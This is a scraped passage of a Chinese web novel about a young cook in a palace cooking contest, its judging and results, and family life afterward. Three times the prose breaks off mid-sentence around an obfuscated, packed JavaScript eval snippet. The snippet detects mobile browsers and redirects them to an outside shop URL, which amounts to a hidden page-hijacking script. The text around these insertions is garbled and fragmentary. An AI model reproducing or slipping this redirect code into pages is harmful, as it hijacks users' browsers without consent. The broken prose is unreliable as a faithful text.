苏有青不管旁人的心思，到底自己并未违规。恰好这会子酸梅已糖渍得差不多，可以准备炒酱了。 她将碗中的汁水果肉一齐倒进锅中翻炒，再撒进点点盐末衬出甜味。待锅中姜黄色的酱汁冒出粘稠的大气泡，酸梅酱便也已完成。苏有青看向续香的品鉴官，时候才过去一个多时辰。 往锅中倒入以防干烧的凉水，她坐在灶口，将柴火烧旺。 搛起颈肉，苏有青挑走沾连的腌料，用洗净的荷叶裹紧肉块。她又将方才铲出的土加水搅成泥，往荷叶外裹上指节厚的一圈黄泥。 苏有青拿起火钳，抽出烧得正旺的那根粗柴火，小心地在草木灰中刨出两个坑后，将做好标记的泥块塞进隐有火星的柴火正中，用炉灰埋好。 待一刻钟后再将火星熄灭些，她便只剩收尾工作了。 苏有青四处盘盘看看，等得都有些无聊了。好不容易过去半个时辰，她找来小泥炉，将瓦片搁在炉子上烧烫，又铺上一层荷叶。 苏有青夹起标记过的泥块，敲碎后取出盐味颈肉，放在荷叶正中，在周围撒上了一圈茶叶。她点燃茶叶，待激出茶香又灭了明火后往肉块上覆了层叶片，又用方才烧硬的泥壳压在荷叶上，将这一套包袱放在灶台的烧火口，用余温继续熏香。 “各位新厨请注意，本次比试还剩两刻钟。”苏有青又发一阵呆，直到苏火阳的声音再一次在膳房中响起。 把握着时间，她腾空台面与砧板，取出肉块，闻着香味将空出的瓦片盛上炭，上面放着高脚铜盘。 颈肉还在直冒热气。苏有青先将苏子叶分放在铜盘两边，又将颈肉斜切出薄片，依着口味分别叠放在两边的苏子叶前，中间再搁上酸梅酱与椒盐粉。 再打量两眼，苏有青往蜜味炙颈肉上放了两根芫荽叶，最后捏起一撮茶叶搓碎、偏偏地撒在铜盘的另一边。 8. 汆鱼丸 变着角度多看了几圈，苏有青确实没找到能锦上添花的部分，便叉着腰站直了身。 她刚想看看还需等多久出菜，门口便来了品鉴官宣读新的要求： “新厨小试时候已到，还请各位比试者停手并在灶台前站定，等候下一步指令。” 品鉴官说话的功夫里，有一队仆人进了膳房，问过比试者们的姓名，又端着她们跟前的菜品鱼贯而出。 苏有青的灶台离门口不远，面前的炙颈肉先一步被端走。她轻松地四处探头，好奇看向旁人做出的各色美味。 无意瞥见表哥时，却见他拿块布弓着身，急匆匆地擦拭手中瓷盘，直到仆人直接从他手中接过了那一盘肉块。 表哥跟着仆人拿走的瓷盘一同起身时，瞧见苏有青探究的表情，一脸不满地瞪了过来。 见菜品均已端离灶台，品鉴官继续说话： “接下来是约莫半个时辰的评审时间，比试者们可在膳房中小憩，或准备后续的菜品介绍环节。祝大家取得好的名次。” 品鉴官前脚离了膳房，膳房里下一秒便到处响起悉索声。四面聊得都欢，苏有青想去找苏诣结伴，没料表哥却先一步拦住了苏有青。 不知是不是觉得瞪眼的威慑力不够，表哥又跑来补充：“听到了吧？不出半个时辰，你就得给我奉茶了。好好想想待会儿要同我说的话吧。” 苏有青觉得好笑：“比试超时的人也配放狠话？” 表哥也嗤笑：“你还一直坐在灶锅口玩呢，也好意思说我？别以为能瞒过我的眼睛，好歹我也做够了三个时辰的菜。” 刚好苏诣在另一边喊苏有青，苏有青撇撇嘴，一句话都没落下就跑了。 她跟这人没话说。什么菜能做够三个时辰啊，不仅废物还沾沾自喜上了。苏有青唯恐再和表哥多说一句都会拉低自己的实力。 走到苏诣身边时，苏诣正和颜惜禾聊得一阵后仰。 见苏有青来了，苏诣拉住她的胳膊，同颜惜禾介绍道：“这便是我妹妹，苏有青。有青，这是颜将军家的女儿，颜惜禾。” “你好哇。”颜惜禾嗓门不小，一说话又一咧嘴，露出了一口白牙。 苏有青有些喜欢这种飒爽性子，便揣度着书中的寥寥几语道：“原来是颜大将军家的姐姐。早闻颜将军骁勇善战，家中子辈也是各有所长。” 尤其是长女颜惜禾。苏有青前两日还听包菜提起，说有庄子开设了新厨小试的头筹对赌，押颜惜禾与押苏诣的人数是对半开。 “那你投我了吗？”苏有青当即就问。 包菜一阵吞吐：“我.......我投的大小姐。” 怕苏有青不悦，包菜急忙补充道：“不是我不愿投小姐，实在那庄子压根没开小姐的盘。” 苏有青本只是想逗逗包菜，没真想让她押自己。然而此话一出，苏有青反而哭笑不得。 颜惜禾很爱听旁人夸颜将军。她大手一挥道：“待我娘下次归家，你们姐妹俩一同来府里玩！” 几句招呼过后，苏诣看向苏有青：“今天做得怎么样？” 苏有青有话说话：“我觉得挺好。” 苏诣佯装不满：“也不知道谦虚点。” 颜惜禾倒不认同，笑说道：“妹妹这叫自信，多好哇，我就喜欢这种性格。我也觉得我做得还行。” 话毕，她还朝苏有青眨了眨眼。 苏有青也跟着二位姐姐笑，不知这位有望拔得头筹的颜姐姐今日做了什么菜。 膳房外，仆从已将比试者们的作品端至长桌前。经过口味与摆盘的几轮筛选，品鉴官们已从后往前地定下了不少菜品的名次。 撤走已有结果的盘子，长桌上剩下十余份菜品各有自己的特色，还需多讨论几句、再以诸位品鉴官的打分来定先后。 “我觉得这道溜鱼丸不错。”王御厨说，“鱼肉毫无腥土气，刺也处理得干净。这都是费时的细致活，还能在比试中做出如此味道，想来是技艺极高的新厨。再论摆盘，白瓷汤碗中盛着黄澄澄的鸡汤，中间是白色鱼丸，鱼丸上又撒着蛋皮丝，色彩之间也是相得益彰。” 年岁稍长些的张御厨却说：“鱼丸还是有些小家子气，比试中做这八宝鸭方为上乘。要论细致，给整鸭脱骨可难多了。虽说这鸭腹处有断裂样，但这位新厨还是很好地圆上了这一处的。” 王御厨却似说起了旁的话题：“新厨小试可不是只看难度，认识到自己能力的边界也很重要。” 张御厨笑道：“那么，年轻人敢于挑战也很重要。” 长桌的另一边，有两位厨子在讨论旁的菜品。 其中一人再次夹起一块炙颈肉，蘸着料碟吃下，边嚼边感受味道： “这炙肉倒是新奇。少见将好端端的五花单独片出精肉来煎炙，这般调味也甚少吃到。不错不错，就是审美上略逊一筹，摆盘有些贪多嚼不烂。本就装饰过的摆盘还要再添上苏子叶，反作累赘。” 另一人也见缝插针地开了口：“要说苏子，还是这苏子鸡更佳。虽说有些中规中矩，但味道也本分不出错。不似有的菜品，看着花样不少，实则是投机取巧来的容易菜，轻易煎熟便糊弄了去。” “要我说，还是这炙肉好。”又有声音插进来，是京城里福鲜酒楼的厨司。他据理力争道：“这苏子鸡草草装盘，毫无新意，本不像比试之作。再者，随便哪户人家都会做苏子鸡，又何必在新厨小试中品尝？” 诸位评审各执一词，交过这些菜品的分数表后仍在尝试说动旁人。 这头的品鉴官们尚坐着，另一边的仆人们却纷纷动了起来。有人拿到分数条打起了算盘，算着最后的评分；也有人去膳房内喊新厨们去院中，候着介绍自己的作品。 已有品鉴官见乏，想快些走完最后的流程，结束今日的比试。 然而比试者们方站定，便来了人打岔。 来人高声通报： “二皇子到——” 皇子侍从尾音未落，品鉴官们便匆匆起身行礼。 苏有青低着头，悄悄抬起眼皮瞄向前方。 想来人群中那身着浅金紫色衣袍的女人，便是二皇子赵鸣炫。 苏有青差点忘了，苏诣与二皇子的初见便是在新厨小试。 果然，女人朗声道：“免礼吧。本皇子此番奉母皇之名，为本次新厨小试的夺魁者添个彩头。不知本皇子来的可是时候？” “正是时候呢。今日比试的结果已出，只是还需听一听新厨们的心得。还请二皇子与三皇子上座。”苏火阳道。 苏火阳引着两位皇子入座，苏有青这才抬头，发现二皇子身后还跟着个四处张望的赵往。 见赵往似要往这边看来，苏有青赶忙低头。 她倒不记得赵往也来了新厨小试的赛场，回想半天也只记起这场比试后不久，赵鸣炫便靠苏诣封了个王。 赵鸣炫与赵往落了座，这边新厨们的介绍才得以继续。 面对比试者们，苏火阳细细解释道：“本该在打分前便听听诸位对菜品的介绍，只是比试者达三十多位，逐个论述后恐怕菜凉也影响口感，只好先打分。不过如此一来，品鉴官不知每道菜对应的比试者，便也更为公正。现下比分已定，各位参试者再轻松聊聊便好。” 既已不影响结果，众人确实多了一分轻松，逐个讲明白自己的思路便算了事。 然而，有品鉴官却不太轻松。 见表哥站到苏子鸡前，那福鲜酒楼的厨司的脸上好一阵红白色。 方才他见着苏子叶，以为炙颈肉才是表哥做的菜，为此一直在贬低那苏子鸡。 新厨小试的品鉴官并非只需比试时出席，还得按各人所长来分工。 福鲜酒楼在京城颇有名气，其中以他拿手的红烧肉最为知名。厨司本就得意被选作了今年的品鉴官，后来因着这手红烧肉的手艺，新厨小试中的猪肉备菜便也被交给了他，说他当是更擅长挑选猪肉。 厨司更得瑟了，兴冲冲地和人碰杯，说待今春的比试结束后，他恐怕会被京城更多的酒楼哄抢。 然而人一得意就容易忘形。酒虫占据了头脑，厨司便一时忘了领头同他叮嘱过的“多加一份三层五花，要标志些的”。临到头来，厨司终于记起这么一回事，脑子一慌便随便加了份三层的猪颈肉凑数。 但也未必是真慌乱。到了赛场后，他听旁的品鉴官说起多了一位比试者，便又精明起来，想着不论是谁拿到这份肉，他都能将罪责推到新加入的比试者头上。 他也没忘干净所有的小试事项。至少他记得有人顺着品鉴官人选的风声来寻自己，塞了一包鼓鼓囊囊的硬疙瘩要同他作约定。来人只是与厨司约下挑配菜的暗号，而他不仅应着暗号拿出了苏子叶，还颇有义气地帮那道有苏子叶的菜拉分。 现下看来，仿佛是有什么乌龙。不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278933|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厨司心态很好，及时撇了头当鹌鹑。 见到了做苏子鸡的人，张御厨先是夸赞：“其实这菜口味挺好的，没什么大问题。” 然而她语速很快，没留给表哥高兴的时机：“就是人不够沉稳，有些心急。” “怎......怎得做个菜便不够沉稳了。”表哥有些不服。 张御厨饶有兴趣地问道：“那么，你因何选择做苏子鸡呢？” 说话间，张御厨还贴心地给那青花色瓷盘转了个向，将盘口的浅黄色痕迹转到了他的视线里。 表哥满脸通红，好不容易才憋出了几句话：“就是苏御厨素日爱教家常菜，我也拿手家常菜，见到鸡肉想到这菜，便就做了。至于装盘，有汤汁飞溅也是难免，何况，何况新厨间比的是口味而非表象。” 张御厨听得满脸笑意。她点点头：“你说得对。好了，下一位吧。” 苏有青默默低头看鞋尖，生怕发出不合时宜的声响。 下一位是苏诣。不等品鉴官们发问，她便有条不紊地说起了自己的做法与思路。 “......我先见配菜桌上有糯米与马莲草，便想到了填以糯米再捆作葫芦样的八宝鸭。然而学子技艺不精，今日处理鸭骨时不慎划破了鸭皮，后来在捆形时将缺口覆到马莲草下，也做成了此菜。八宝鸭有福禄之意，今日便趁小试，将这份福禄呈予诸位品鉴官与今日一同做菜的朋友们。” 张御厨又听得连连点头，这次却没再打断。 再往后的颜惜禾也是不卑不亢地介绍起汆鱼丸。 “一开始选草鱼时，我打算做酥鱼。然而我在找配料时见着了鸡骨架，又觉得溜鱼丸配鸡汤也不错。刚好诸位小友都各有手艺，想来浓油赤酱的口味也多，我便干脆另辟蹊径来个清淡的汤菜，也好给品鉴官们换换口味。” 苏火阳相当喜欢这碗鸡汤鱼丸，笑说道：“你这鱼丸我可是吃了两碗。” “下一位，苏有青。”拿着名册的仆人喊道。 往前迈出一步时，苏有青尚未想好该从何说起。按她的想法，颈肉便只适合炙烤，也没什么可多想的。 好在她并不需要自己想出一个开头。 苏有青方站出来，王御厨便发了问：“这盘炙肉是你的作品？可我并未在其中见到你摘走的荷叶。” 苏有青微笑间便理好了思绪： “我用荷叶裹住腌制过的肉块，再在外面附一层泥，用灶台的余火慢慢炙熟，这样炙出的颈肉既保留了原本的脆弹口感，也更多汁。再佐以不同的调味与蘸料，用苏子叶包着炙肉同食，可以吃到各种不同的味道。” 仿佛听到什么关键词，苏火阳皱了皱眉。 王御厨也意识到了问题，与苏火阳对视一眼，并未多言。 一旁的福鲜厨司倒是恍然大悟：“原来苏子叶并非装饰？但我也未听闻过苏子叶生食的吃法。” 苏有青笑笑：“品鉴官可以包上肉片尝试一下。” 再轮过其她几位比试者，今日小试便只剩最后的报分了。算分的仆从早在一旁候着，这边方话毕，她便递了条子过来。 方御厨接过条子，看过内容后又看向比试者们道：“新厨小试旨在‘新厨’，而非‘小试’，每一位参与其中的新厨都很优秀。在小试层面，我们品鉴官一致认为，除去第一至第十二名的新厨，其余新厨皆为第十三名。” 方御厨平日性子便活泼，报分也随性。她从第十二名倒着开始报位次，点到第七名后又突然报出第四位的姓名。都是苏有青不认识的名字。 听到第四位不是自己时，表哥本有些遗憾。 然而发现第五位也不是他时，表哥又突然明白了。他可是前三的水准，四五位自然会是旁人。想到这里，表哥便挺直了胸膛。 果然，下一秒，他便听到了自己的名字。 方御厨抬头看到他的动作，轻笑着报出了名次：“第六。” 表哥有些意外，却不至于挂脸。细细一想，或许有的品鉴官就是偏好高难度菜品，尽管旁人做出的味道并不好吃。索性第六名也是比苏有青强的，至少他还不至于落个只剩好听的“十三名”的名头。 苏火阳真心称赞：“不错啊，今天超常发挥了。继续保持。” 听罢这话，表哥脸僵了。 “接下来还剩三个名次哦。”方御厨卖着关子，“那么，今日新厨小试的第一等便是——” 9. 八宝鸭 “第一等便是，苏诣。” 有几位新厨下意识地“哇”了一声，随即便有人低声说着“便知道是她”“太厉害了”云云。 最为期待的结果已出，方御厨也不再卖关子，依着位次报出了剩下的名字：“以及第二名颜惜禾，第三名苏有青。恭喜诸位新厨。” 苏诣与颜惜禾相视一笑，互道恭喜。苏诣又转头看向苏有青，却发现她似乎想心事想得出了神。 排位既出，二皇子将今上的添头赐予苏诣。 “谢陛下赏赐，有劳二皇子殿下亲临至此，民感激不尽。” 二皇子不见神色，只微微点头道：“过几日见。” 目送二位皇子离开，苏诣翻开了圣上赏赐的书册。 “哇。”颜惜禾凑了过来，“是《梵正杂食》。” 苏诣拂过已泛黄的纸张，心中微动。 梵正是前朝一位才情横溢的厨司，做菜美味又有新意，既能将做出的菜色摆成山水画，还有一番自己独特的见解。这本《梵正杂食》便是她以自己做出的花样菜为样，亲自编撰书写而来。 虽说早便听闻宫中留有多本梵正手稿，这册子并不算贵重。然而苏诣心中有数，作为一介新厨，圣上以这本薄薄的书册为赏，无疑是对她寄予了厚望。 颜惜禾也明白其中深意，笑着对苏诣挤眼。再转头，颜惜禾想拉苏有青过来一起看，却见苏有青只是在一旁杵着不动。 听到结果前，苏有青本有些忐忑，不知颜惜禾的加入会不会改变这里的故事。然而苏诣还是以八宝鸭夺得了头筹。 顺着颜惜禾的动作，苏诣也瞧见了苏有青的呆愣。她笑说道：“怎么，没料到自己会是第三，现在高兴得不知该说什么了？” 周围旁的比试者们已收拾妥当，纷纷离开。表哥也是要走，路过时却听到苏诣这么一句话。他有些看不惯这种“小人得志”，却又不敢作声，生怕再发出什么声响会被苏有青注意到。 正巧，苏有青被苏诣的话喊回了神。她“诶”地一声喊住了表哥：“表哥留步。不知表哥何时得闲，方便去猪槽坐坐？” 表哥不好直接走人，停下脚步后一阵咬牙，最后愤愤道：“你既平日便独自偷学，又何故故意引我进你的圈套，设下赌约？简直可耻！” 苏有青完全哽住了。且不论这“偷学”有几分可信，即便是偷学也只能说明她勤奋好学，又何来“可耻”之说？ 一旁，颜惜禾并不了解二人对话的前因后果。她好奇地问苏诣：“那位是？” 苏诣也不知从何说起为好。 听着二人的动静，苏有青直言道：“无碍，被不讲理的小人缠上了罢了。” 表哥还要不服：“你说谁是小人？” 苏有青：“自然是言出不行的人。应当不是表哥吧？” 表哥不再言语，转头便走了。 解决罢这边的口舌之争，苏有青挽上二位姐姐的胳膊：“今日忙了那么久，我们也都累了。去酒楼吃点喝点吧？我姐姐请客。” 苏诣好笑：“那我可只请颜姐姐咯？” 三人一顿吃饱喝足后便回府休息去，此番新厨小试已然落幕。苏有青再次听闻颜惜禾的消息时已是六日后。 这日苏家晚饭，苏有青一进堂屋便见着了桌上的八宝鸭。 一转头，苏诣笑语盈盈道：“这次有所进步，至少没再破皮呢。” 落了座，苏火阳夹上一箸鸭肉与糯米，细细咀嚼后道：“其实那日我便猜到八宝鸭是你所作，便不好过多赞誉。这鸭油完全浸入了糯米当中，又有八珍一同蒸熟，实在是香。” 苏有青那日便馋了八宝鸭，今日更是被香得腾不出嘴说话，嘴里塞得满满当当，只好便嚼边听姐姐与母亲的闲聊。 “对了。”苏火阳一拍脑门，“昨日忙昏了头，都忘了问了。你昨日进宫面圣，圣上如何说？往年新厨小试的头筹都只是与几位御厨对谈，你这可是头一份的特许。” 苏诣放下筷子，认真说道：“昨日不止是我，还有颜惜禾。圣上让我与她一同入宫，不过我听圣上的意思，似乎并不准备让我们长久地待在御膳房中。” 苏火阳似是一副纠结模样。然而沉吟过后，她还是道：“陛下此番做法自有她的缘故。至于再详尽些的说头，还是要以后碰着了才明白。先吃饭吧。” 苏火阳与苏诣聊歇了声，堂屋里一时便只剩下碟筷相碰的动静。 苏有青白天没吃多少，方才一顿海塞后也已见饱。见桌前一时静了音，她趁时候说出了自己这几日里的想法： “娘，姐姐，我想过段日子出城看看。” “为何？”苏诣不解。 苏有青摆出早前准备好的说辞：“只是想到处走走看看。正好在城里待久了，平日里的京城吃食也是吃够了，这次便出去转一圈，也瞧瞧城外的人都吃些什么。” 想到刚刚听来的话，苏有青眼珠子一转，继续说道：“可惜你们在宫里忙得走不开，不能一同出行。不过等我学会了城外爱吃的菜，我就能回来做给你们尝尝了。” 一半馋嘴一半关切，几句对症下药的理由让苏有青想了三天。 新厨小试的比试结果已尘埃落定，苏有青那几日里有过不少想法，最后还是觉得走为上策。 她曾以为，既让自己来到这书中世界，想来是有什么要紧事要让她去做。虽没有类似系统之物给苏有青派任务，但她仍想着找出个隐藏事件，再不济照葫芦画瓢地走完原书故事，或许到时候便有回家的路了。 也因此，苏有青不管旁人如何指点，偏要让苏火阳在比试名册中临时加上她的姓名。然而比试告终，苏诣这个主角依然是头筹，苏有青的活与死、颜惜禾的参试与否仿佛并无影响。 苏有青想，或许她的存在根本不会影响主角的直上青云，她的到来也没什么多余的缘由。只是那头的苏有青凑巧熬猛了夜，这边的苏有肴又恰好卡了咽喉，仅此而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278934|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已。 虽还是不明白为何书中的白纸黑字会自成一个立体的世界，但不论字里字外，这世界好像都有它运行的“正轨”。既如此，那她干脆不要掺和其中，免得无意间有什么举动，反而影响故事既定的走向。 于是苏有青打算先溜一步，直接离开京城。这样一来，她首先便是自由了，不必担忧做出与苏有肴的性格截然不同的行为。 二来，旁观者清。她虽离开，却也不欲远走，只是在京城的周遭打转。不远不近的距离，苏有青或能将城中局势看得更清明些。倘若以后有字面以外的故事将发生，她也能早些反应，再及时回来做些什么。 苏诣不明白小妹为何突然生了这般想法，问道：“你是担心以后常留你一人在家会乏味吗？” 苏火阳却对这理由接受良好：“有想法是好事，决意有所行动更佳，我自会支持。你快要十八，出去闯闯也好。不过再有两月便是你姐姐十九岁的生辰了，不如同她一起过了生辰再出行可好？” 一番话毕，苏火阳似是想起什么，又转过头来同苏诣说道：“说来你以后少不了面圣，说话还需谨慎些。今上喜怒皆不于色，也不喜臣民揣测。” 苏诣有些疑惑：“不都说今上是仁君吗，怎么听娘的口气......” 苏有青瞧苏火阳面露难色，便撇下了苏诣的两句问，似天真地插嘴道：“我也听说早前的新厨头筹会去御前做事。难道御厨还得亲自端茶倒水吗？” 苏有青早便觉得奋矫的脑洞很奇怪，谁家皇帝会从御膳房中挑选言官？ 苏诣正要让有青别乱说话，却听见苏火阳说：“进出御书房的，自然不再是茶水功夫，但总归是做好分内事便好。至于今上的想法......陛下乐意广听，只是有时听得太多，最后行事也不知是听的谁的进言了。” 言语间，苏火阳忆起当年在御前的一身冷汗。或许她这一生只能做个拘谨的厨司，但不论是苏诣一心进宫闯出天地，还是苏有青决计出城游走四方，她都会作为母亲兜住底。 苏有青见姐姐听得愣怔，娘亲也说到缄口，便放了碗筷要走人：“我吃饱啦。” 饭桌上的谈天被皇帝牵走了注意，她提出的出城便被搁到了一边。苏有青趁早离了桌，就当这事是说定了。 见苏有青跑远，苏诣回了神。 她从拿锅铲时便知晓了“新厨小试”的法子，也一直想依此进宫，一路往上走，并不多想。如今妹妹却轻易点出了怪异之处，母亲的态度仿佛也不乐观。 不过苏诣也没有太多的担忧，至少宫中没有骇人到苏火阳会阻拦她的程度。收了遐思，苏诣又问苏火阳：“母亲放心，我自会谨慎。不过母亲为何就这样应下了妹妹的请求？有青可是苏家的亲女儿，何苦出门走这一趟。” 苏火阳好笑：“这叫什么话，谁还不是苏家的亲女儿了。” 说笑罢，苏火阳又有几句喃喃：“想去便去吧，都好，顺心便都好。” 10. 菱角菜（一） 苏有青方才在桌上吃得乐呵，待到深夜却遭了殃。 苏诣做的那八宝鸭实在是香，苏有青裹着皮与肉吞嚼下了不少内里的油润糯米。回了小院，她又觉出口干，便一口气灌下了半壶茶水。 这般吃喝下来，及至夜半的天黑得泛蓝时，苏有青已腹胀到坐立难安。 腹中鼓鼓囊囊的实在难受，她只好撑着腰，在屋中来回踱步。 包菜听到动静，探头来问：“小姐怎的还不睡？” “无事，你睡你的便是了。”苏有青有些说不出“吃积食了”这种大实话，便要赶包菜走。 目送包菜离开后，她继续在心中计数，劝慰自己多踏出一步便是多消化了几粒糯米。 然而人虽撑着，心眼却仍馋得很。没走几步，苏有青又回味起那口感，依着味道揣度苏诣的步骤，还起了过几日进厨下的念头，看她能不能做出那鸭肉大粽子。 思忖的功夫里，苏有青已转悠到了窗边。 正是春夏相交的时候，暑气渐起，不过夜里还是稍有寒凉，包菜便早早落了窗。 苏有青却是手痒，见到雕花窗就要支起来。 初到这里时，新时代来的苏有青便对各式木头玩意儿颇有兴趣，见到这种需用杆子撑起的窗子更是管不住手。从前她只在园林景区里见过这些摆设，还要被工作人员警告别乱碰。 便有夜风从窗格中漏了进来。苏有青往外瞧，没在天上寻到月亮，倒是见了星子从勾角的木头间钻进屋里。她突然起了兴致，干脆去了院中，换一处更宽敞的四方天再细看。 苏有青已很久没见到这么亮的星，便一时看入了迷。她习惯了过去瞧不见星光的夜晚，这段时候又忙着和锅碗瓢盆打交道，便也没留意过天上。 她想起自己曾做过的一期视频，用后来的星星作比，不由笑出了声。 苏有青继续望天，脑子里却是当时的画面。那次她想做“速食七十二变”，算是闲得硬找出的花样，当中不乏年轻人爱吃也爱看的辣味面。 苏有青脑子灵光，总能从司空见惯的吃食里组出新鲜搭配。然而轮到粉色包装的面时，她前后试过不少吃法，最后还是觉得常规的煮法最为美味，便想在文案上下些功夫。 后来苏有青旁白道，这面里配的奶酪调味粉乍看像白沙，细看却是沙画；绿色葱花能当作草树，浅浅的黄色芝士便是霓虹里只剩隐约光亮的星星。 她自觉比拟得有些生硬，不料观众反响不错，这一段的“哈哈哈”格外地多。 回想至此，苏有青脑中不由复现当时的介绍。 她喜欢口感筋道的面，习惯在面条刚煮散时就舀走多的水，又将酱料挤进去拌匀，再往锅中倒点牛奶继续煮。待面有些软了，她才拌上那包“沙画粉”，这个顺序煮出的面既香又不会太辣。 这时候的面也熟了，苏有青会放上一片芝士再关火，盖上锅盖用余温焖化芝士片。一切完成后，她掰开提前煮好的溏心蛋，再夹两块葱丝酱油之类咸口的炸鸡，便煮出了一份完美的火鸡面。 太久没吃上工业食品，苏有青想得生津，也不再觉得撑胀。可惜在这里顶多能做出炸鸡。 倒不是不喜欢姬朝，只是她这会子的想法太跳跃，一时便被钩得想起了现代。苏有青本在苏家过得舒坦，直至这几天落了清闲，才觉出缺了点什么。 饮食吃喝都是小事，毕竟她可以尝试着做。只是苏有青不太会姬朝百姓的娱乐玩法，牌艺投射都不了解，这几日的闲暇里只好翻几册话本子来打发时间。 但话本子也有些乏味。看来看去，包菜挑来的那几册都大同小异，无非是赞扬天下安定盛世太平的文字，要么是四海的爱吃者都向往姬朝，又或是神鬼路过京城都想留步，尽是些车轱辘话。 要是姬朝的话本子能像她们的吃食一样花样有趣就好了。苏有青转了转久仰的脖颈，又瞥向身侧的砖墙。 依她之见，那些话本子还没墙外姑娘们的闲聊有意思。 苏有青放轻脚步凑到了墙边，仿佛是几个仆从在聊京城近况。 一个活泼声音说道：“真的吗真的吗？所以二皇子这是生气了？” 另一人的音色要低些：“谁知道。周围人都不敢作声，更不敢问哇。” 又有个苏有青熟悉些的声音问：“可是二皇子一向与三皇子姐弟情深，怎会真的闹翻？” “也不算闹翻吧，但二皇子的脸色确实不好看。”低沉的那个说。 活泼的那个想到了旁的：“搞不懂这些皇子的事。不过三皇子新开的食肆你们吃过没？前些天大小姐身边的荔枝给我带了，真不错呢。” “巧了。”熟悉的说，“今日包菜同二小姐出门，也分与我了。味道是不错，只是今日厨下的膳食也好吃，人吃饱后再吃什么美味也就那样了。” 一阵笑闹后，活泼的说道：“那是自然，我们苏府的人还有什么没吃过的好东西？再稀罕的玩意儿至少也见主君与小姐做过。” “说起稀罕东西，你们听说光禄寺卿最近搜罗了不少稀罕菜吗？” 轻快的声音有些急切：“什么事？” “这个我知道。”低沉声道，“孙运浩孙大人家的事吧。听闻他那宝贝疙瘩近来吃不下饭，孙大人为这事找了不少大厨都无法，现在直接另辟蹊径，在食材上做功夫了。” 有人“嘶”了一声：“孙大人家年长些的那位小哥吗？我之前仿佛碰到过，瞧着确实有些单薄。怎的吃不下饭了？” “非也非也。”扯出话头的人的语气很是神秘，“是年幼些的那个。” 不知是谁听乐了，直接扑哧笑出声：“我记得年纪小些的那个很是丰腴，冬衣上了身便更是个大号蹴鞠，竟也会吃不下饭？” 那人细细解释道：“那孩子素日里只食油腻，现下似是肠腹生了病症，只能吃些寡淡的。他不肯，偏吃重油之物，吃了却又要吐，现在是情愿饿着也不愿喝粥。若是孙大人劝多了，他还要摔碗摔盘呢。” 说到后面，那人连连咂舌：“哪有这么惯孩子的，何况我记着他已有十五六个年头了呢，并非年幼。” 另个也附和：“是说呢。我来苏府前家中清苦得很，能吃饱便不错了，哪配挑三拣四。后来在府中也从未见过咱们两位小姐耍起什么脾气，更别提摔东西了。” 一人笑说道：“我白日里还同荔枝作赌呢。孙大人这般宠爱孩子，不知几时会求上咱们苏御厨？” 谈笑声渐渐走远：“我猜也就这两日。好了好了，夜都深了，早点回去歇息吧。” 砖墙背后，隔墙那耳朵的主人深以为然。她已消了食，是该回房休息去了。 不知丫头们的赌约抵了何物，隔过一日，苏有青还真听到有仆从通传，说孙大人来访。 苏有青好奇地往前厅侧门走去，还没挨到门框便听着了苏火阳的“稀客呀孙大人。小麦，快上茶。” 又听那孙大人说道：“我今日来其实是为了件事。不知苏大人可听说城中厨司近来都被我寻了个遍、只是为了桩小事？” 苏火阳道：“我一向不爱听这些小道消息，大人有话请说。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278935|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “唉。”孙运浩叹了口气，“说来也是可笑，我身为光禄寺卿，平日算是个管吃食的，与你们御膳房打交道也是好几载了。可如今犬子生病，我竟找不出能让他咽下的饭菜。找了太多厨司都无法，眼下实在没法子了，这才找上苏御厨您啊。我还派人去山里挖，去河里捞，可，可那孩子就是吃不下。” 话音落后，屋里传来一声咕咚，接着又是杯盏搁到桌上的声音。 苏火阳道：“嗨，这种小事何劳大人亲自来一趟，支个仆人便是了。孩童脾胃弱，病了确实难捱。若是少放些米将白粥熬稀些，便当作茶水喝下呢？” 孙大人直叹气：“试过了，怎么劝都咽不下。您可是御厨，不知可有什么妙招能使菜饭爽口些？“ 苏火阳想了想：“明白了，我回头得闲便去府上一趟。” 孙大人追问道：“现在就去不成吗？” 苏火阳也无法：“不是我推诿，今天白日里确实要忙。膳房今日新到一批西域来的瓜果，还是得了您的条子才进来的。陛下喜食那西域菜，我们御膳房得趁鲜灵做出新菜品呈予陛下呢。” “确实确实，陛下要紧。那苏大人得了空可一定要来啊。”请人不成，孙运浩便抬腿要走，走得一步三回头。 苏有青从门后探头，见那孙大人已离开，便站去了苏火阳跟前。苏诣也不知从哪边冒了出来。 苏火阳送走客人后回了座，手搁在在八仙桌上撑着头。 见眼前的又来了人影，她道：“我晚些便......是你们啊。” 苏火阳靠回了椅背上。 “怎么了？”苏有青凑热闹般地问道。 